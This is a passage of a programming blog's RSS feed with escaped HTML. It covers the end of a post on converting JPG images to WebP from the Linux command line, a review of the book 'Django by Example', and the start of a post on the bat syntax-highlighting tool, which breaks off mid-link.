class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ du -h pexels-artem-beliaikin-1120963.jpg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;476K pexels-artem-beliaikin-1120963.jpg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;convert-from-jpg-to-webp&#34;&gt;Convert from jpg to webp&lt;/h2&gt;&#xA;&lt;p&gt;After installing webp, the &lt;em&gt;cwebp&lt;/em&gt; command will be available, yes, with the letter &amp;ldquo;c&amp;rdquo; at the beginning; I also got confused and wanted to use it as plain webp at the beginning.&lt;/p&gt;&#xA;&lt;p&gt;The cwebp command will help us to convert our image and it is self-explanatory; we just place the image we want to convert and specify the name of our output file with the &lt;em&gt;-o&lt;/em&gt; option.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cwebp pexels-artem-beliaikin-1120963.jpg -o processed_image.webp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Saving file &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;processed_image.webp&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;File:      pexels-artem-beliaikin-1120963.jpg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Dimension: &lt;span style=&#34;color:#ff9f43&#34;&gt;1920&lt;/span&gt; x &lt;span style=&#34;color:#ff9f43&#34;&gt;1280&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Output:    &lt;span style=&#34;color:#ff9f43&#34;&gt;226348&lt;/span&gt; bytes Y-U-V-All-PSNR 38.69 45.41 46.33 40.05 dB&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;block count:  intra4: &lt;span style=&#34;color:#ff9f43&#34;&gt;7027&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              intra16: &lt;span style=&#34;color:#ff9f43&#34;&gt;2573&lt;/span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;-&amp;gt; 26.80%&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              skipped block: &lt;span style=&#34;color:#ff9f43&#34;&gt;454&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;4.73%&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bytes used:  header:            &lt;span style=&#34;color:#ff9f43&#34;&gt;276&lt;/span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;0.1%&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             mode-partition:  &lt;span style=&#34;color:#ff9f43&#34;&gt;32578&lt;/span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;14.4%&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Residuals bytes  |segment 1|segment 2|segment 3|segment 4|  total&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    macroblocks:  |       5%|      15%|      27%|      51%|    &lt;span style=&#34;color:#ff9f43&#34;&gt;9600&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      quantizer:  |      &lt;span style=&#34;color:#ff9f43&#34;&gt;36&lt;/span&gt; |      &lt;span style=&#34;color:#ff9f43&#34;&gt;33&lt;/span&gt; |      &lt;span style=&#34;color:#ff9f43&#34;&gt;27&lt;/span&gt; |      &lt;span style=&#34;color:#ff9f43&#34;&gt;21&lt;/span&gt; |&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   filter level:  |      &lt;span style=&#34;color:#ff9f43&#34;&gt;11&lt;/span&gt; |       &lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt; |      &lt;span style=&#34;color:#ff9f43&#34;&gt;30&lt;/span&gt; |      &lt;span style=&#34;color:#ff9f43&#34;&gt;33&lt;/span&gt; |&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ready, now we must have a file with extension &lt;em&gt;webp&lt;/em&gt; in our same folder.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;convert-webp-to-jpg&#34;&gt;Convert webp to jpg&lt;/h2&gt;&#xA;&lt;p&gt;If we want to do the opposite, i.e. convert from webp to classic, we need to do it in two steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;convert webp to png&lt;/li&gt;&#xA;&lt;li&gt;convert png to jpg&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dwebp &amp;lt;input.webp&amp;gt; -o &amp;lt;output.png&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can use convert or any other tool to convert from png to jpg.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;convert &amp;lt;output.png&amp;gt; &amp;lt;output_converted.jpg&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;which-is-lighter-webp-or-jpg&#34;&gt;Which is lighter webp or jpg?&lt;/h2&gt;&#xA;&lt;p&gt;If we now compare the sizes of both files we will notice that our new image is &lt;strong&gt;about half the size of its &lt;em&gt;jpg&lt;/em&gt;&lt;/strong&gt; version.&lt;/p&gt;&#xA;&lt;p&gt;The quality of the resulting webp file is for you to judge for yourself. I found it to be practically the same, with subtle differences; perhaps a slight loss of contrast, but almost imperceptible.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;du -h *&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;224K&#x9;processed_image.webp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;476K&#x9;pexels-artem-beliaikin-1120963.jpg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;how-to-convert-many-jpg-images-to-webp&#34;&gt;How to convert many jpg images to webp?&lt;/h2&gt;&#xA;&lt;p&gt;Converting many images to &lt;em&gt;webp&lt;/em&gt; format is more of a terminal-level solution than the &lt;em&gt;cwebp&lt;/em&gt; program itself. Anyway I leave you the necessary code to convert all &lt;em&gt;jpg&lt;/em&gt; images in the folder where you run it to its equivalent in &lt;em&gt;webp&lt;/em&gt; format.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; image in *.jpg; &lt;span style=&#34;color:#ff6ac1&#34;&gt;do&lt;/span&gt; cwebp &lt;span style=&#34;color:#ff5c57&#34;&gt;$image&lt;/span&gt; -o &lt;span style=&#34;color:#5af78e&#34;&gt;`&lt;/span&gt;basename &lt;span style=&#34;color:#5af78e&#34;&gt;${&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;image&lt;/span&gt;%.jpg&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;`&lt;/span&gt;.webp; &lt;span style=&#34;color:#ff6ac1&#34;&gt;done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;what-if-safari-does-not-support-webp&#34;&gt;What if Safari does not support webp?&lt;/h2&gt;&#xA;&lt;p&gt;As of the publication date of this article &lt;strong&gt;there are only two web browsers that do not have webp support&lt;/strong&gt;; Safari and KaiOS Browser, according to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://caniuse.com/#search=webp&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;caniuse&lt;/a&gt;&#xA;. Although I have read that the developers of Safari plan to grant it full webp support by the end of 2020.&lt;/p&gt;&#xA;&lt;p&gt;But, if you can&amp;rsquo;t wait, the solution is to use the &lt;em&gt;figure&lt;/em&gt; and &lt;em&gt;source&lt;/em&gt; tags. The &lt;em&gt;picture&lt;/em&gt; tag will wrap image sources that you specify. The browser will choose to download or ignore each one based on the formats it supports. That is, if the browser supports webp it will download the webp image, if it does not it will download the jpg image.&lt;/p&gt;&#xA;&lt;p&gt;I don&amp;rsquo;t need to tell you that for this to work you must have an image in jpg format and another image in webp format, and both must be accessible to the browser, right?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;picture&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;source&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;srcset&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://turuta.com/imagen.webp&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;image/webp&amp;#34;&lt;/span&gt;&amp;gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;source&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;srcset&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://turuta.com/imagen.jpg&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;image/jpeg&amp;#34;&lt;/span&gt;&amp;gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;img&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://turuta.com/imagen_.webp&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;alt&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34; class=&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;img-class&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;picture&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content:encoded>
      <summary>&lt;p&gt;A couple of weeks ago I wanted to convert my ecommerce images from jpg to webp. Normally to modify images in GNU/Linux I use GIMP or imageMagick, but neither of these two have native support for webp, or if they do I&amp;rsquo;m so clueless that I didn&amp;rsquo;t notice.&lt;/p&gt;&#xA;&lt;p&gt;And why not use online conversion? Well, it&amp;rsquo;s a good option for a couple of images, but when you convert a lot of images&amp;hellip; it becomes tedious, and why not do it directly in our OS?&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Learning Django through the book Django by example, my review</title>
      <link>https://coffeebytes.dev/en/django/learning-django-through-the-book-django-by-example-my-review/</link>
      <pubDate>Tue, 01 Sep 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/learning-django-through-the-book-django-by-example-my-review/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;This book plans to teach you Django by creating four projects from scratch. Django by Example starts by creating a blog, then a social network, an online store and finally a learning platform. Each project is developed practically from scratch and uses some libraries to complement the functions.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t know the advantages and disadvantages that Django offers, visit my post where I explain some &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;advantages and disadvantages of the Django web development framework&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;blog-project&#34;&gt;Blog Project&lt;/h2&gt;&#xA;&lt;p&gt;The first project proposed by Django by Example is the classic example of a simple blog, with authors and posts. The author designs a blog and they teach you the basics of Django, models, views, urls and templates, you know, the basics. As an aspect to highlight is pagination of the models and how to integrate it into the template system using Jquery. In a few words we are in front of the basic Django tutorial of the documentation but with books instead of surveys.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;social-network&#34;&gt;Social network&lt;/h2&gt;&#xA;&lt;p&gt;The next project is a social network similar to Pinterest, where you save images from other websites to share them later using Jquery, this social network has a user tracking system (similar to Facebook, in case you want to compete with it). For this chapter the author delves into forms, model-based forms, handling email sending, creating custom labels, filters for the template system, and using Django&amp;rsquo;s built-in authentication and session system. More advanced topics include creating a sitemap, advanced search using &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://lucene.apache.org/solr/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Solr&lt;/a&gt;&#xA; and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://haystacksearch.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Haystack&lt;/a&gt;&#xA;, redis and Django signals.&lt;/p&gt;&#xA;&lt;h2 id=&#34;programming-an-online-store&#34;&gt;Programming an online store&lt;/h2&gt;&#xA;&lt;p&gt;The third project consists of an online store that implements a payment system using Paypal, a product catalog, user accounts and a shopping cart. For the online store we will review the content of the previous chapters and also explain the context processors, the use and configuration of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.celeryproject.org/en/stable/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;celery&lt;/a&gt;&#xA; (using &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.rabbitmq.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;RabbitMQ&lt;/a&gt;&#xA; as a broker) for asynchronous tasks, the Paypal API, the export of spreadsheet files, the dynamic generation of pdf for orders using &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://weasyprint.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;weasyprint&lt;/a&gt;&#xA; and the translation between languages using the integrated Django system. Redis will also be used to create a fairly simple but effective product recommendation engine, don&amp;rsquo;t expect to take the throne away from amazon or google.&lt;/p&gt;&#xA;&lt;h2 id=&#34;e-learning-platform&#34;&gt;E-learning platform&lt;/h2&gt;&#xA;&lt;p&gt;For the last project, an e-learning platform will be created using a CMS. This chapter touches on slightly more advanced Django topics such as the use of abstract models, proxies and multi-table inheritance and custom fields for models. The author will explain in the later chapters generic views and packages such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-braces.readthedocs.io/en/latest/index.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;django-braces&lt;/a&gt;&#xA;, which further reduce the amount of code to write. It&amp;rsquo;s great that the author also implements a cache system using &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://memcached.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;memcached&lt;/a&gt;&#xA;. And to finalize the project, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.django-rest-framework.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django Rest Framework&lt;/a&gt;&#xA; will be used to make the contents of the website available to the public.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;After this last project Django by example ends. But, as a bonus it offers an extra chapter, where you will see the use of middleware and the deployment of the application using nginx and uwsgi.&lt;/p&gt;&#xA;&lt;h2 id=&#34;my-opinion&#34;&gt;My opinion&lt;/h2&gt;&#xA;&lt;p&gt;This book offers a pragmatic approach, you learn as you create projects, step by step, a much more enjoyable approach than reading the documentation. Also this approach will probably be more similar to what a developer faces when he wants to launch a website.&lt;/p&gt;&#xA;&lt;p&gt;Here comes the bad part: the book uses Jquery for all its examples that require javascript. But don&amp;rsquo;t get me wrong, it&amp;rsquo;s not that I hate Jquery, it&amp;rsquo;s just that &lt;strong&gt;many of its functionalities have already been emulated with native Javascript&lt;/strong&gt;. That&amp;rsquo;s why Jquery is losing popularity among developers every day (almost like PHP). And, to top it off, the examples use AJAX to make web requests instead of the more modern fetch.&lt;/p&gt;&#xA;&lt;p&gt;Leaving aside the shortcomings of the javascript content, Django by example completely covers everything Django has to offer, from the most basic to the most complex.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I am seeing that there is a new version of the book and it includes &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://channels.readthedocs.io/en/latest/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django Channels&lt;/a&gt;&#xA; for handling websockets, however it still implements Jquery for its examples.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Recommended prerequisite knowledge:&lt;/strong&gt; HTML, Python and basic Javascript&#xA;&lt;strong&gt;Recommended to read:&lt;/strong&gt; 7/10&#xA;&lt;strong&gt;Languages:&lt;/strong&gt; English&lt;/p&gt;&#xA;&lt;p&gt;Read my other Django book reviews here:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/the-best-django-book-two-scoops-of-django-review/&#34;&gt;My review of Two scoops of Django&lt;/a&gt;&#xA;, focused on best practices, if you have already done projects with Django.&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-for-professionals-review/&#34;&gt;My review of Django for professionals&lt;/a&gt;&#xA;, starts from scratch but includes Docker as part of the development.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;This book plans to teach you Django by creating four projects from scratch. Django by Example starts by creating a blog, then a social network, an online store and finally a learning platform. Each project is developed practically from scratch and uses some libraries to complement the functions.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t know the advantages and disadvantages that Django offers, visit my post where I explain some &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;advantages and disadvantages of the Django web development framework&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Get to know bat in linux, the syntax highlighting cat</title>
      <link>https://coffeebytes.dev/en/linux/get-to-know-bat-in-linux-the-syntax-highlighting-cat/</link>
      <pubDate>Tue, 25 Aug 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/get-to-know-bat-in-linux-the-syntax-highlighting-cat/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;The other day I was looking for syntax highlighting tools and I came across a pretty interesting tool called &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/sharkdp/bat&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;bat&lt;/a&gt;&#xA; (Yes, like bat in English), it&amp;rsquo;s basically the linux &lt;em&gt;cat&lt;/em&gt; command, but with colors and other pretty interesting functions. And, as icing on the cake, &lt;strong&gt;it&amp;rsquo;s programmed in Rust.&lt;/strong&gt; In this post I explain in a short way how it works and what it can do for you.&lt;/p&gt;&#xA;&lt;h2 id=&#34;install-bat-from-repositories-on-linux&#34;&gt;Install bat from repositories on linux&lt;/h2&gt;&#xA;&lt;p&gt;You can install it directly from the repositories in newer versions of Debian or derivative systems (Ubuntu).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install bat&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As my version of Debian is not the most recent one I had to install it from &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/sharkdp/bat/releases&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;its version of software package with .deb ending&lt;/a&gt;&#xA;. Remember that if you have problems with GNU/Linux commands go to read my entries where I make you a summary of the &#xA;&#xA;&lt;a 